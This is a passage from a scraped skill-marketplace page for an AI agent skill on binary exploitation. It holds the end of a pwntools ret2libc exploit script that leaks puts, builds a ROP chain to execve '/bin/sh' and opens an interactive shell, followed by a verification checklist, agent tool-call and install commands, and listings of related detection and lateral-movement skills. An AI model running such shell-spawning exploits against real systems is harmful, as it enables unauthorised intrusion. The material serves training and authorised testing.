  leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n\n\n---\n\n## CyberSecSuite Integration\n\n```bash\n# Open a case before starting investigation\nmcp__cybersec__case_open --title \"binary\" --type investigation\n\n# Persist findings to PostgreSQL\nmcp__cybersec__add_finding --title \"...\" --severity high --description \"...\"\n\n# Log IOCs\nmcp__cybersec__add_ioc --type domain --value \"...\" --confidence 0.9\n\n# Map to MITRE\nmcp__cybersec__suggest_mitre --description \"...\"\n```\n\n**Agent:** `@cybersec-agent` → delegates to appropriate specialist\n",{"name":5,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fvuln\u002Fexploit\u002Fbinary","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill binary-SKILL.md",{"tool":62,"command":63},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill binary-SKILL.md",{"tool":65,"command":66},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill binary-SKILL.md","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002FSKILL.md",true,[70,76,80,84,90],{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"index.json","REFERENCE","参考文档",1119,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002Findex.json",{"path":77,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Fapi-reference.md",1755,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002Freferences\u002Fapi-reference.md",{"path":81,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Findex.json",84,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002Freferences\u002Findex.json",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",7875,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002Fscripts\u002Fagent.py",{"path":91,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":82,"sourceHtmlUrl":92},"scripts\u002Findex.json","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002Fscripts\u002Findex.json",[94,120,141,162,182,198],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119],"services","detect","services wmi persistence detect","wmi","persistence","de","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","cybersecurity","process-forensics",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[30,101,127,104,128,129,130,118,131,35,132,133,134,135,106,136,137,138,139,140],"services wmi exec exploit","exec","remote","traffic","Bash","team","across","crackmapexec","native","command","lateral movement","read","lateral-movement","Impacket",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[148,149,150,151,152,153,118,131,154,35,33,155,106,138,156,157,158,159,160,161],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","uncover","software","activity","digital-forensics","windows-registry","regripper","sonnet",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":168,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[102,169,170,171,172,173,174,107,38,118,119,175,176,177,178,31,179,180,181,106],"processes token impersonate detect","token","processes","attacks","windows","escalation","privilege-escalation","seimpersonate","token-impersonation","printspoofer","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,102,191,171,173,192,107,193,38,118,119,35,194,195,196,197,181,106,108],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[205,102,171,206,192,107,207,208,118,119,209,210,211,212,213,32,106,108,214,215],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","mismatched","headers"]